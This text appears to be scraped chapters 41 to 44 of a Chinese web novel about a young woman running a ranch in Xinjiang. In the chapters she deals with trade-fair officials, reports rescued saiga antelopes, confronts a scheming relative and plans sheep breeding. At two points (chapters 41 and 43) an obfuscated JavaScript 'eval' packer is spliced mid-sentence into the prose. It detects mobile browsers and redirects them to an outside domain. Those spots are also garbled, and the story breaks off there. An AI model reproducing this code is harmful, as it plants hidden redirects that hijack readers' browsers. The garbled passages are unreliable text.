没等这个工作人员说话，旁边一位年轻的男同志便忍不住笑了起来，“同志，都说了是边民互市，那就是对身份是有要求的，我记得是要求参加者必须是边境地区的边民，好像是陆路边境20公里以内的边境居民，得通过有效身份证件参加，你如果是本地的那肯定是不满足参加条件的。” 姚新泉皱眉，是这样吗？她还以为都可以参加呢！ 那名女同志反正也闲着没事就跟她科普，原来这个霍尔果斯口岸在八三年的时候□□就批准正式恢复开放了，只是那时候还是仅针对边境国家的，也是有参与条件，而且对交易物品也有限制，比方说是中低档的商品，并且金额和数量也都有限制。 姚新泉听罢叹了口气，行吧，那霍尔果斯口岸的交易会就别指望了，她本来还想着这种不知道需要什么手续，所以早点来办，别到时候因为手续耽误了，结果可好，压根就没满足参加条件。 她道了谢刚准备走就听到身后有人叫她，“小姚？” 姚新泉转头看去就发现原来是林业局的高勇局长，忙笑着过去打招呼，“局长没想到在这里碰到您，我还打算过会儿去找您呢！” 高勇也奇怪怎么在这见到她，“小姚来这边有事啊？” 姚新泉说明自己的来意后，高勇沉吟了一会儿，“这样，你先跟我过来，我带你去找工商局的领导。” 不等她拒绝高勇就往前走了，姚新泉只好跟着。 等到了工商局局长谢智的办公室他又说了姚新泉的情况，“我记得年底开会的时候不是说了今年乌鲁木齐那边还会开个什么贸易会吗？你看那个通知什么时候下？小姚这边能参加吗？” 谢智白了他一眼，又看了看姚新泉，也不知道这小姑娘跟他是什么关系。 “上面决定在乌鲁木齐那边开个洽谈会，咱们都叫它乌洽会，目前时间已经定下来了，大概在9月2号到10号。你的牧场如果想要参加的话，首先得有合法的营业执照，还得去外经贸委那边办下来进出口的经营权，你如果想要参加的话，还得提前准备好你的企业简介，也就是你牧场的简介以及产品目录，最起码得是中英文的。还有个报名表，回头我让人准备两份，你到时候去陈姐那儿领就成”，他又加了一句，“陈姐就是你今天搭话的那位女同志。” 姚新泉又惊又喜，赶忙道谢。 不成想谢局长又来了一句，“你如果也想参加霍尔果斯口岸的互市也可以准备一下材料，上面已经决定了，今年8月10号霍尔果斯口岸开始向第三国开放，估计人也不少。不过我觉得你可能没搞明白霍尔果斯口岸的情况”，谢局长轻笑一声，“像你开牧场做这种牲畜、肉类的生意，肯定不是我今天杀了一头羊，分割好去卖的，一般都是大宗交易，这种情况更适合去乌洽会，那里算是一个展示的平台，通过展示、讨论、洽谈等形式推动贸易发展。” “而口岸那边其实更多的作用是作为一个交通枢纽来的，至少目前经贸交流的力度不大，所谓的边民互市规模小，而且普通游客可能也没办法自由购买大量商品。你如果只是去凑热闹的话还好，如果想在那边开拓海外市场，那很难。” 41. 第 41 章 姚新泉尴尬得笑了，“我这就是信息掌握得不够全面了，我只是听说那边有互市，没想到和我想得还不太一样。” 谢局长本来以为这个小姑娘会恼羞成怒的，但她这种坦然的态度反而让谢局长眼里多了两分欣赏。 “我觉得到时候你也可以去口岸看一看，你如果确实想做外卖，去那种地方多了解了解也可以，至于乌洽会的话，虽然私营企业也可以参加，但是讲实话，你一个私人牧场对上人家国营大牧场，完全没有任何竞争力，不一定能申请上展位。不过那天会上我们讨论过，像我们这种小地方与其让一家或者几家企业去申请展台，倒不如以县为单位，咱们县里的一些龙头企业一起去申请，这样反而申请下来的可能性比较大。” 姚新泉眼睛一亮，可以啊！ 别说她今年本来也没打算做成什么生意，只是想凑凑热闹，等她的计划实现了一些之后再慢慢来，那时候乌洽会才会真的成为她牧场洽谈业务的平台。 就算她今年真的想谈成单子，这前提不都是先申请上展台吗？谢局长这话非常实在，乌洽会只是在乌鲁木齐举办，并不是说只有新疆或者乌鲁木齐的企业能参加，全国各地的只要有意向，并且符合条件的单位或者企业都可以来申请展台。 她的小牧场在里面算啥？ 算弟弟。 所以只要能蹭上车，今年能蹭，明年也能蹭！ 想到这里姚新泉赶紧点头，“我觉得谢局您说的特别好，咱们县的各家企业拧成一股绳才有一争之力，再有什么说法也得先能站到那里去啊！” 谢局笑着点头，“成，具体事情我再跟咱们县外经贸委的人谈一谈，等定好了我通知你，你给我留个联系方式吧！” 姚新泉赶忙把自己家的电话留下，又不停地道谢，“去年年前我家牧场出了一批羯羊，那时候还不知道谢局您这么没有架子，我也不敢贸然登门，等家里下一批羊出栏的时候我给您送点儿自家养的羊肉来！” 谢局赶忙摇头，“别别，我认识你爸，也认识你小叔，所以能给你行的方便我会帮你，你要给我送东西那就变了味道了，让人知道了还以为里面有什么呢！” 姚新泉听他认识自己家里人那更坦然了，她往椅子上一坐便道，“我一个晚辈，家里养了羊，给长辈家里送块儿肉谁还能说什么？而且我送的也不多，也就尝尝味道，总不能说我拿三五公斤羊肉贿赂领导吧？” 高勇忍不住哈哈大笑，“行了行了，这小丫头去年也给我送了，有一说一她家那羊肉是真好吃，比咱们在外面买的好吃多了！你要是有顾虑，你给人孩子送点儿回礼不就成了？”他当时就把老家送来的核桃给了姚新泉一袋子，谁都没办法说什么。 谢局忍不住指了指他，随即又笑了，“行，那叔就等着你冬天的羊肉了！” “对了你刚说找我有事儿是吧？”高勇抿了一口白开水后才想起来这事儿，赶忙问道。 “对啊，冬天就雪最大的那几天，我捡到了两只高鼻羚羊，一只受伤了我已经治好了，另一只好着呢，刚好还是一公一母！” 咳咳！高勇被呛了一下，水不受控制得从鼻腔里流了出来，他也顾不得别的，掏出一块儿手绢就擦了起来，边擦还满脸焦急地问，“你说啥？你救了啥？啥羚羊？” 老天爷啊！他耳朵坏了吧！ “高鼻羚羊。” 听到姚新泉坚定的声音高勇忍不住深深吐出两口气，“闺女，你没骗叔吧？” 姚新泉摇头，“路不太好走，不过也能勉强回去了，你要是想，你现在可以跟我回去看看！” “不用不用！”高勇满脸都写着兴奋，他没忍住用力拍了下桌子，“他娘的，上次鹅喉羚的事情上面骂了我半天，这次如今咱们可是发现北疆境内从没被发现过的高鼻羚羊了啊！”这下谁还能说他工作不利？他要是工作不利，要是环境被破坏严重，这种从没出现过的动物为什么会出现？ “这样，先不急着带来，叔相信你的能力，你先帮着再养两天。我回去联系去找有相关饲养经验的人还有这方面的专家来，到时候我们一起去找你！” 姚新泉这下是真的有些惊讶了，想一想，万一自己弄错了，然后高勇兴师动众搞了一堆人上来后发现货不对板，这可不止是丢人的问题啊！ “老高”，谢局有些迟疑，这到底事关前途啊！ 姚新泉顿了顿，“这样，高叔，我跟你形容一下我家里那两只的特点”，瞪她将两只的外貌特点尤其是那个大鼻子讲了之后，高勇一怕大腿，“瞧瞧瞧瞧，这不就是高鼻羚羊吗？你让我去看我也这样说啊！小姚啊你先回去，等我这边安排好了我联系你！” 主要现在雪也没化，她那边不管进出都费劲儿。 本地人倒还好，人家专家学者过来了之后让人家淌着雪往里走也不是太好看。 他琢磨着要么等雪化了，要么实在不行，跟市政或者镇里那边联系看看能不能安排人扫雪呢？ 高勇此时已经没心思跟他们聊别的了，谢局也没多留两人，姚新泉与两人告辞后便打算去亲戚家转转。 县高中离这边近，今天又是工作日，所以姚新泉打算先去高中看看小叔。 在姚晓刚办公室等了半个小时后他终于下课了，见到姚新泉后姚晓刚高兴得不得了。 他拍了拍大侄女儿的肩膀，“好丫头，我怎么看着还胖了点儿？我还想说你冬天在山里受苦了呢！” 认识姚新泉的老师在一边听着也乐了，“可不是吗，我隔三差五就听你小叔念叨，说你一个小姑娘这大雪封山日子还不知道过得多惨呢！” 姚新泉哈哈笑了起来，她掰着手指头数，“你看看我在家里吃什么啊！牛肉、羊肉、猪肉、兔子肉、鱼肉、马肠子，这是肉，过年的时候我还专门炸了各种东西，麻叶子、糖糕、小酥肉”，她还想再说，那老师赶忙制止她，“可别说了，这还没到饭点儿呢，我要是上着课，肚子叫起来让孩子听了多不好！” 几人又笑了起来，姚晓刚见她这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而且他也还算挺疼这个名为儿子实际上是侄子的孩子的，他家那个超市就是邓建发的养父给钱建的。 如果邓建发的亲妈是个懂事的那也就罢了，但问题是那个老太太就是个不讲理的，她贪图小叔子的富贵把儿子送了出去，送出去之后又总觉得小叔子抢她的孩子，对小叔子以及邓建发都充满了怨恨。 邓建发的养父，也就是邓永江也觉得愧对嫂子，所以对她多加忍让。 这样一来，反倒是纵得她在两家里都耀武扬威的，这种家庭，哪怕邓建发人再好，姚新泉父母也不放心妹妹嫁啊！ 但怎么办呢？人家两个是自由恋爱，爱的要死要活的时候你跟她说这家人不好，人根本听不进去，姚新泉爸妈拗不过，只能把妹妹嫁了。 “那老婆子又作什么妖呢？姑姑是什么意见？姑父呢？” 42. 第 42 章 姚晓刚苦笑，“邓建德是体制内的，前两年调到市里去了，他本身能力不差的。但是现在社会上最赚钱的从来不是体制内的，就像你们家，你爸妈当初看着好像没他们光鲜亮丽，但是收入那完全没法儿比！” 早年没改开以及刚改开的时候大家收入都差不多，也看不出什么区别来，但现在就有了啊！ “那老太太之前觉得大儿子一家出息了，觉得小儿子就算开了店又怎么样？个体户多丢人啊！” “不知道怎么回事，今年过年的时候她知道你小姑跟姑父今年一年的净收入最起码有小两万，所以她立马就眼红了。” “因为你小姑的两个孩子一直被留在她身边照顾，所以这次她就以孩子的名义要求你小姑过年的时候给她1万块，当作两个孩子未来一年的生活费”，姚晓刚苦笑，“但你也知道，就算这钱给了，将来孩子的所有开支还是你小姑他们出。别说你小姑不愿意，我这个脾气我都不愿意，这不就闹起来了？” 这事儿是那个老太太没理，姚新泉皱眉，“小姑父就看着他妈闹？” “你小姑父那个人性子比较温和”，姚晓刚说得很是委婉，可姚新泉也知道，说白了就是窝囊。 在面对老婆的时候他是温和的，可姚晓洁还算是个讲理的，并不会因为他好欺负就欺负他。 可他妈不是啊！ “我小姑父的养父呢？他就没意见？”自己出钱给养子开店，结果赚了钱都被大嫂拿走，这能愿意？ “听说没什么意见，可能觉得把人家儿子抢走了觉得亏欠吧？” 姚新泉都气笑了，“合着出钱的加干活的三个人里面就小姑一个人有意见，所以就变成了小姑和那个老太婆的矛盾？” 姚晓刚无奈得看着她，不然呢？ “我也没想你去干什么，就跟你知会一声，大人的事情还是让他们自己去解决”，姚晓刚怕姚新泉给自己揽事儿忙叮嘱道。 “表弟呢，什么态度？” “听说荣荣想跟他爸”，就算老太太偏心，可到底是她带大的，而且这么多年潜移默化洗脑下来，还不定觉得是爸妈不要自己了呢！ 所以说啊，当初就不该把孩子留在那边！ 可是转念一想，当初还不是想着市里教学质量比县里好，再加上老太太要求，两边又不太远所以姚晓洁才同意的，谁能想到现在成了这样啊！ “行，我知道了，小叔你回去上课吧！”说完她转身便走，姚晓刚看着风风火火的大侄女儿也满心都是感叹，孩子大了都能自己撑起一片天了啊！时间过得可真快！ 姚新泉没急着去姚晓洁那边，她先去了小姨家车店，跟张运秋打了声招呼又去了幼儿园跟苏永华见了一面，这才去了姚晓洁家的超市。 她来得倒也巧，里面正闹着呢！ 吴梅花叉着腰指着姚晓洁的鼻子骂，“你个不孝顺的东西，我问你要钱是花在我自己身上吗？我这么一大把年纪了，我还给你带孩子，我图什么？不就是想着帮帮你们年轻人吗？现在倒好，我不过是让你们拿点钱出来，这钱将来还是用在孩子身上的，你这都不舍得！你是孩子亲妈吗？人家后妈都没你毒，你这是毁孩子前程啊！姚晓洁你这个毒妇，我们老郑家倒了八辈子血霉才找了你！” 不等姚晓洁说话，一边的邓志荣也满脸不忿地瞪着她，“你怎么这么坏！你不给奶奶钱是不是不想我上学了？你自己吃香的喝辣的，不想管我是不是？你这个坏女人！” “啊！”邓志荣的话音刚落便感觉到身后领子处被人揪了起来，随后整个人都被举了起来，他吓得惨叫出声，“你放我下来！你放我下来！”一边喊还一边乱踢腿。 吴梅花刚想张嘴，可姚新泉一瞪眼不知为什么她突然就闭了嘴，什么都不敢说了。 姚晓洁见到她眼眶瞬间便红了，“新泉，你怎么来了？” “小姑你先别说话”，姚新泉恨铁不成钢，她把邓志荣从背后放到地上，不等他说话，又从前方揪住他的领子把人举了起来，“荣荣，怎么都不知道叫表姐了？” 邓志荣想踢她，姚新泉冷笑一声，“你要是踢到我，我手一松你可就摔了，那就怪不着我了！” 邓志荣不敢再踢，可嘴里还不免骂骂咧咧的，姚新泉把他举得高高的又做出要把他扔下来的模样吓唬他，邓志荣脸都白了，不停地叫着她姐姐，姚新泉又冷笑一声，“我可当不起你这声姐！”说完把他随手往屋子里一推便不理这种小蠢蛋了，反而看向吴梅花，“这位老太太，孩子放你身边你就这样教的？教孩子骂自己亲妈？你还是个人吗？” 吴梅花先是一愣，随即便又指着姚晓洁准备骂了起来，“好啊你，你看看你们家的丧门星！有这样跟长辈说话的吗？你这种人家当初也不知道是怎么勾得我儿子，臭不要脸嫁到我们家来！不孝敬老人，不照顾孩子，现在连你们家晚辈都敢欺负上门了，这日子没法儿过了啊！” 姚晓洁一巴掌打掉她指着自己的手，“不能过了就去死！”她早都受够了这种日子了，“是我要你帮我带孩子的吗？不是你死皮赖脸非要养？还用孩子每个月从我们这边要走几百块？你个老不死的可真会为你大儿子打算啊！他家钱不够花就从我家弄！你不是打这个超市的主意吗？我告诉你老不死的，这超市是我跟邓建发两人开的，当初借的他爸的钱也都已经还上了，那这店现在就是我们两的，我就算卖了也不可能给你！做你的春秋大梦去吧？” 刚说完就见到邓建发从外面进来，她冷笑一声，“姓邓的，我早就跟你说了咱们离婚，店我不要，你给我一笔钱就行，可你不同意离。本来我想着我吃亏也成，可你那不要脸的亲妈上门来闹，她不是想着把店要走，她来看店然后给她大儿子赚钱吗？我不好欺负，所以干脆把我赶走！你是个软蛋，没了我顶在前面，你还不是任他们揉搓？现在我明确地告诉你，这婚还是得离，这店我也不会留给你，我现在就去找人把店顶了，剩下的钱再来分割！” 见她要往外走邓建发满脸苦涩地拦她，“晓洁你冷静一点，我从来没有要跟你分开，我也没有做对不起你的事情，咱们这么多年的感情你怎么能说不要就不要了呢？” 吴梅花更是面目狰狞地想冲过来动手，“你个贱人，这店是我家的跟你有什么关系？你个不要脸的东西！烂货，你滚就滚，你要是敢碰我家店，你看我不弄死你！” “你弄死谁？”姚新泉听烦了，一脚踹翻了吴梅花面前的折叠凳。 铁的凳子砸倒在地上咣当一声吓了众人一跳，吴梅花一时间也不敢做什么了。 “小姑父，我之前一直在山上，倒不知道我小姑嫁给你还要受你家伯母的气。这都不是正经婆婆哪来的脸在你们面前作威作福啊？”邓建发欲言又止，姚晓洁嗤笑一声。 “我记得你是六七岁就被过继过去了吧？你是被你养父养大的，你养父的为人我也听我爸妈讲过，当初肯定是给了不少东西去买断了你们之间所谓的生恩，你对你伯母哪来的什么赡养义务？什么脏的臭的倒是都到你家来折腾了？你要 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“新泉，我过啊！我就想一辈子跟你小姑过下去啊！”邓建发委屈巴巴地抹眼泪，“没了你小姑我可怎么活啊！” 姚新泉不合时宜地抖了一下，一把年纪的人了，怎么还走这个路子！她小姑这审美也真的是别具一格啊！ 别以为她没看见，当邓建发进来的时候她小姑那眼神立马就变得不一样了，又爱又恨满是幽怨，一看那离婚的话就不是发自内心的。 “过？你拿什么过？是让你家伯母上门欺负你老婆，然后让你老婆忍气吞声？还是让你儿子上门骂他亲妈然后你冷眼旁观？再或者是你哥那个窝囊废养不起他妈，然后让他妈朝你这个侄子伸手要钱，你让你媳妇儿顶到前头去？” 邓建发的脸都红了，他想说不是可姚新泉根本不理会他只是继续道，“小姑父你搞搞明白行不行，在这间屋子里，在这些人中，你的身份是丈夫、是父亲、是姑父、是侄子，唯独不是儿子！你可没妈！你要想给自己找个妈你自己供着去，我姑不是去你家伺候太后老佛爷的！她妈在地里埋着呢，她可没兴趣给自己找妈！” 邓建发只觉得这话实在有点难听，可又不敢反驳，甚至觉得说的挺对的，他也不想给自己找妈啊！可是他这个伯母每次拿养育之恩出来说话，闹得他一次次退步，如今更是没了说话的底气了！ “你知道这位老太太她儿子的单位吧？” “你干什么？邓建发你个小畜生你不许说！”吴梅花觉得不对了，赶忙上手就想拦他，姚新泉就看着也不阻止，反倒是姚晓洁有些担忧地看向邓建发。 邓建发一边躲老太太，一边道，“我堂哥现在在卫健委上班”，生怕姚新泉不满意，他又接着道，“我堂嫂没工作，他们只有一个儿子，今年大专刚进医院实习。” “我都好奇了，卫健委现在待遇这么差了吗，竟然养不起自己的亲妈，还鼓动亲妈来找堂弟骗钱？回头我可得跟他们单位反应反应员工待遇问题，单位要是不重视的话咱们再登报，花钱登报！标题我都想好了，一篇咱们走朴实风，就写，卫健委待遇竟如此？正式工养不起老娘。咱们还能换个风格，是人性的泯灭还是道德的沦丧，改开后政府部门竟沦落到打秋风！这俩怎么样？” 她又装模作样叹了口气，“我学的是管理，不是新闻专业的，标题起的不好，我回头找一下我的同学们，问一问这种情况起什么标题比较醒目！” 43. 第 43 章 “噗嗤！”姚新泉这才注意到原来超市里还有别的顾客，她也没不好意思，反而大大方方朝人家笑了笑，“挑好了是吗，挑好了的话找老板结账就成。” 邓建发刚上前一步，姚新泉脸上带着笑，眼睛里却没有一点笑意，“小姑，你听到了吗，是找老板结账，不是找老板的丈夫，小姑父你先歇着吧，咱们再跟你伯母聊一聊如果政府不给你堂哥解决养家的问题，那咱们不行再去跟你侄子单位或者学校反应一下，这么大的孩子了，也不能只知道读书对吧？家里都这么难了，我看那书也别读了，先想办法出来养奶奶吧！” “你堂哥还差几年退休啊？他妈还活着呢，现在都养不活了，等退休了难道让他妈去死？这样的破班上着有什么意思啊？别上了，赶紧辞职出来吧！我看你伯母不是对你家店挺感兴趣的吗？实在不行让你堂哥来，我小姑也不是那不懂事的人，亲戚都可怜成这样了，她也能给对方赏口饭吃的！” “而且这好歹是正儿八经靠劳动获取报酬，听上去也好听点，不像现在，伸着手就要，要饭啊！你端的破碗呢？叫花子上门要到了钱还得说两声谢谢吧？小姑父你这亲戚不太懂事啊！” 不管是刚进门的还是已经挑好东西的顾客没一个挪动脚步的，就站在原地两眼放光听着姚新泉骂人，不少人还捂着嘴笑个不停。 姚晓洁轻轻背过身去，让自己不要笑得这么明显，邓志荣缩在凳子上不敢吭声，太可怕了，太可怕了！他再也不要跟这个姐姐做对了！ 而邓建发则是满脸羡慕地看着姚新泉，这嘴能借他用用吗？租也行啊！唉！ 吴梅花都快撅过去了，指着她的手都在颤抖，“你，你个贱蹄子！” “不好意思，我是人，我只有脚。老太太你是上面两只长成了蹄子还是下面两只长成了蹄子，掏出来给我长长见识？” 吴梅花一肚子的脏话此时憋着愣是不知道该骂些什么，像是要倒了一般。 姚新泉又冷笑，“小姑父啊”，邓建发大声地哎了一声，差点打断姚新泉的思路，她没好气地白了他一眼。 “你知道你堂哥单位的电话吗？他们卫健委的就算没干过医生，应该对自己家人的身体健康也比普通人要多关注几分吧？这谁也没说她，谁也没碰她，这老太太怎么就抖成这样？你快打电话问问，他是不是能力不行，连自己家人的身体问题都注意不到啊？他儿子还是预备医生呢，这可真吓人，哪个医院的啊？说出来让我们留个心，以后好避开那家医院啊？” 吴梅花啊得尖叫出声，这下也不抖了，冲上来就想挠她，姚晓洁跟邓建发赶紧上来拦。 就见姚新泉冷笑一声，满脸都写着不屑，她一把握住老太太伸过来的手，轻轻一用力便别到身后固定住，跟抓犯人一样将她制服。 “你说说，人菜瘾还大，你那动作都慢放了还想来打人啊？” “行了，我也不追究你打我的过错了，小姑父，给你堂哥打电话，让你堂哥来接人！” “不许打！不许打！”姚新泉本便没有用力，吴梅花一下就挣脱了，扑到电话上就不让他动，“我不要了，我不要你们的钱了行了吧？” 不等姚晓洁两人高兴，姚新泉便道，“呦，老太太你以为是让步啊？这不是应该的吗？” “小姑小姑父，我问问你们，如果这老太太以后不掺和你们的生活了，你们还离吗？” 邓建发跟大了鸡血一样突然大喊，“不离，我永远不会离开晓洁的！”旁边的人都笑了起来，姚新泉悄悄翻了个白眼，什么审美啊！ 姚晓洁在一边又是委屈又是感动的模样看得姚新泉头疼，死恋爱脑！ “孩子接回县里，成吗？”又不是没时间照顾，孩子养在别人家，跟爸妈都不亲，跟个傻子一样！老姚家就没出过这样的孩子！ 邓志荣不想回，可他不敢说话。 姚晓洁夫妻俩用力点头，吴梅花想说话，姚新泉一个眼刀过去她便闭了嘴。 “小姑，你去找个本子来，再找只笔，让小姑父的伯母写点儿东西”，姚晓洁飞快地翻出一本作业本递过去，吴梅花不愿意接，姚新泉便道，“小姑父，打电话。” “我写，我写还不行吗？” “行，就写保证书，我吴梅花，因为受儿子邓建德的挑唆，来找没有抚养过并且从小就被过继出去的儿子以要为其养育子女为由要钱，每年八千到一万元。现在我已经认识到我的错误了，我也认识到了我儿子思想上的错误。在此我向邓建发及姚晓洁夫妻俩保证，未来不会再借所谓生恩为由要求邓建发向我支付赡养费等各项费用。我对邓建发的生养之恩在邓建发被过继时已由其养父邓永江折价进行了补偿，双方再无任何恩情。未来我的生养死葬均与邓建发及其妻、子无关，我保证绝不再干预邓建发的正常生活。证明人，写你名字就好。” 吴梅花的手都在抖，看着姚新泉的目光也满是恨意，姚新泉不在乎地耸了耸肩，“怎么，不想写了？那行，小姑父打电话吧！医院的电话有吗？没有的话过会儿给邓建德打的时候顺便问一下怎么联系他儿子的领导。” “我写！”吴梅花用力握着笔，像是要将那笔握断一样，她倒是识字，也不需要人给她提示就写完了。 写完后她恨恨地递给姚新泉，姚新泉见状满意一笑，“很有文采，不错”，众人忍不住又笑了。 “行了，那这位没有什么关系的老太太可以回了吧？不用我们联系你儿子来接你吧？” 吴梅花这次是赔了夫人又折兵，此时恨不得将姚新泉吞吃入腹，可却又拿她没有办法。 “小姑，表弟的户口是在这里还是市里？” “在这里在这里，本身也没办法牵走，但他们非要让孩子跟着，我们只能交高额赞助费，孩子才能入学。” “行了，那既然如此，小姑和小姑父你们两个跟着这位没什么关系的老太太一道儿去一趟市里吧，把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578474|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子的转学手续办好，把孩子的东西都带回来就成”，她朝吴梅花晃了晃手中的纸，“老太太，这东西我收着，你若是老老实实的，我小姑日子好过，也没谁会找你不痛快。你若是折腾，你还不知道吧，你写的这东西我可以直接送到报社去复印刊登的！我小姑他们有钱付得起刊登的费用。你若不想安稳过日子，若是想把你儿子跟孙子都害了，那咱们就走着瞧，我倒要看看，是我小姑没了丈夫活不下去，还是你儿孙没了前途活不下去，咱们走着瞧！” 她不再去看老太太惨白的脸色，招呼着姚晓洁跟自己出门，又笑着跟其他顾客点了点头才往外走。 到了外面后姚新泉恨铁不成钢地看着姚晓洁，“小姑，你性子雷厉风行的怎么就被这么个老太太拿捏了？合着你之前都是花架子？咋啦，咱们老姚家的人好欺负所以你厉害，外面人都厉害，所以你又成泥捏的了？” 姚晓洁嗔了她一眼，又不好意思地低下了头，这不是怕打死老鼠伤了玉瓶吗？ “那个老东西只在意她的大儿子大孙子，当初为了邓建德能卖小姑父一次，现在自然可以接着卖，你们日子安不安生跟她有什么关系？” “行了，知道你俩分不开我也不想多说什么，只是我得提醒你一下，孩子得好好教，若是下次他再敢指着你鼻子说那些不着调的话你就跟我说，咱们老姚家长不出这么不着调的孩子！” “还有，我爸没了，小叔那人读书读的有点一根筋，你以后要有什么你可以跟我说！” 等说完她也没多留，挥挥手就离开了，留姚晓洁一个人在原地抹眼泪。 回去的路上也不知道怎么回事，邮电局的人竟然在修电话线，对此姚新泉只有高兴的，就是不知道是不是高局安排的，毕竟有两个宝贝蛋在自己手上，他总得随时关注的。 在机场候机的师月江深藏功与名。 他出来之后立马就联系了师星野，师星野时隔两个多月终于听到了弟弟的声音激动得不行，知道弟弟要回北京，更是立马让秘书联系了一班刚好要飞北京的飞机，让他能以最快的速度回来。 同时他又托人跟电信局那边的领导联系了，让他们尽快恢复电话线路，他是暂时离开了，虽然现在有很多事情还不确定，但是师月江心里很清楚，他是绝对不允许自己跟姚新泉彻底断联的。 姚新泉只觉得自己出来一趟真是爬雪山过草地啊！到家的时候里面毛衣都湿了！ 匆匆给家里小家伙跟其他牲畜都喂了饭后，她难得蒸了一次米饭，“师月江拿碗筷”，说完后她自己也愣了，随即便笑了一下，拿出一套碗筷吃起饭来。 现在已经三月了，虽然说四月多份也还是有可能会下雪，但是天气已经有转暖的趋势，外面冻得肉之类的该吃的得赶紧吃掉，不然到时候坏了可就可惜了。 第二天一早姚新泉是被电话声吵醒的，她在隔壁房间都听到这边的铃声，“姑奶奶，联系上你可真不容易啊！” 44. 第 44 章 姚新泉听出是谁了，她打了个哈欠，笑着道，“马老板，一个冬天没见你还是这么急性子啊！” 马强都快愁死了，年前的时候那批羊进了家乡好超市后他乐得不行，自己公司的名头一下就打出去了。 因为这他赶紧联系姚新泉，就想着先把下一年的牛羊都定下来，谁知道这电话怎么都打不通。 他是个急性子，自己专门来了一趟，可惜也只能看着那茫茫的大雪“望雪兴叹”了！ 后来打听到是因为大雪把电话线的杆子压塌了，也不知道什么时候那边会过来维修，所以他基本上每天都打打看，终于，今天终于联系上了。 “姚老板，这不是急着给你送钱吗？” 姚新泉哈哈一笑，“我牧场里现在除了怀孕的母牛也就是一批细毛羊了，你又不做羊毛的生意，能给我送什么钱？” “是这样，我想问一下你今年牧场里要养多少育肥的牛羊呢？我这边都要了！” 姚新泉挑了挑眉，所以是那批牛羊的问题？卖得好？卖得好也不稀奇，自己送出去的这些可没得到一个差评呢！ “我养肯定是要养的，只是现在牧场上雪都还没化，牛羊都放不出去，我不可能现在就买回来的”，现在买那不就是圈养吗？吃得还是去年囤下来的牧草？ 家里倒也不是没有了，只是目前外面雪一点都没化，四月甚至五月都还有可能会下雪，要是一点不留，等下雪了放不出去的时候，那不就傻眼了？ “你什么时候养这看你自己，我算是发现了，你们这种小年轻看起来好像没什么经验，但是养起来可比那些老汉厉害多了！这样说吧，你看咱们要不签个合同，今年你养的牛羊我这边都收了，我给你保证是市场上的最高价，怎么样？” 马强也不是傻子，姚新泉肯定有什么养牛羊的独家办法！ 他打听到了姚新泉的这批羊是从萨哈列那边进的，他辗转联系上了萨哈列，当初萨哈列家里还留了四头羊，过年的时候杀了两头，他跟萨哈列买了20公斤，明明是同一批羊，肉质就是不一样。 他又从萨哈列那边找到了他的上家，也专门去了人家家里，又买了一头羊，同一批的羊，味道还是不一样。 那这能是因为啥？就不是羊本身的问题，是人家养出来的！ 至于到底是因为这片牧场有什么特殊的还是有什么别的原因，他也不去深究，毕竟就算牧场特殊，人家承包下来三十年，他难道还能去插一脚？他可没那个本事养羊。 姚新泉听了这话没忍住挑了挑眉，看来这批牛羊给他带来不少好处嘛！不过想了想到底还是拒绝了，“这样吧，咱们合同就不签了，但我跟你保证，在同等条件下，等牛羊出栏了，我肯定优先卖给你。” 马强做生意人还可以，上次给她的价格绝对算得上是良心了。 她也知道马强肯定是赚了不少，不然不至于这样，可做生意嘛，不就是大家一起赚钱？难道她还能把上下每一条线上的所有钱都赚了？ 有系统以及自己和父母的朋友在，她要真想搞定销售那边也未必不行，但是麻烦，她就想好好开她的牧场，至少现在没想把销售那边打通。 马强跟她打过交道，知道这个小姑娘不是个你缠一缠就能改变心意的人，既然人家已经给了承诺了，那就先这样，大不了到时候常来常往，把关系维护好，谁也别想抢了他的生意！ “姚老板，那你想好今年要养什么羊了吗？有什么要哥帮忙的？” 见他主动提起姚新泉便顺嘴问道，“马老板知道杜泊羊跟湖羊吗？” 马强沉吟了一会儿眉头微微皱了起来，“湖羊我倒是知道，那不是咱们新疆本土的羊，是内地那边的，你想养吗？杜泊羊你这真是难倒我了，我一个羊贩子竟然都没听过！” 见他不知道姚新泉也没失望，还挺正常的，湖羊是内地的，杜泊羊那更是国外引进的了，上哪儿听说去？ 只是之前想着他也许做这门儿生意知道一些，现在看来好像也不知道太多。 “是啊，湖羊是内地太湖流域的本地羊，我倒不是想养纯种羊，主要是我想自己繁育新品种羊，你那边有路子能买到好的种公或者适龄母羊吗？” 湖羊是太湖流域的一种绵羊品种，因为它的核心产区在浙江省湖州市，所以这羊叫湖羊。 要说这羊肉多好吃那是真不至于，姚新泉看中它的是湖羊的繁殖能力。 一般情况下母羊怀孕绝大多数都是单胎，双胎的比较少，三胎的那更是没几个。 可湖羊不一样，湖羊每年可以产两胎，每胎基本都是双羔或者三羔。 同样的饲养条件，时间更短，那这就是钱啊！经济效益不就这样提升上去了？ 但是也有问题，湖羊更习惯南方湿热的气候，适合圈养。但是他们北疆这边除了特殊天气以外还是以放牧为主的，如果只是引进湖羊那可能不太行。 所以就得配种，配其他的以保证能适合本地气候，并且还能提高肉质。 所以姚新泉又盯上了本地的阿勒泰羊跟外国的杜泊羊。 阿勒泰羊那就不用说了，这算是新疆比较优良的品种。除了其本身更适应本地气候以外，让姚新泉同样在意的是它的耐粗饲以及抗逆性。 在大雪封山以前姚晓刚他大学教授的爱人给他邮寄了好几本跟牲畜饲养、培育等等相关的书籍。刚好因为楼宇那阵子要去北京出差，所以姚新泉又让他帮自己跑了一趟那边的书店，把跟牲畜饲养有关的书全买了邮寄回来。 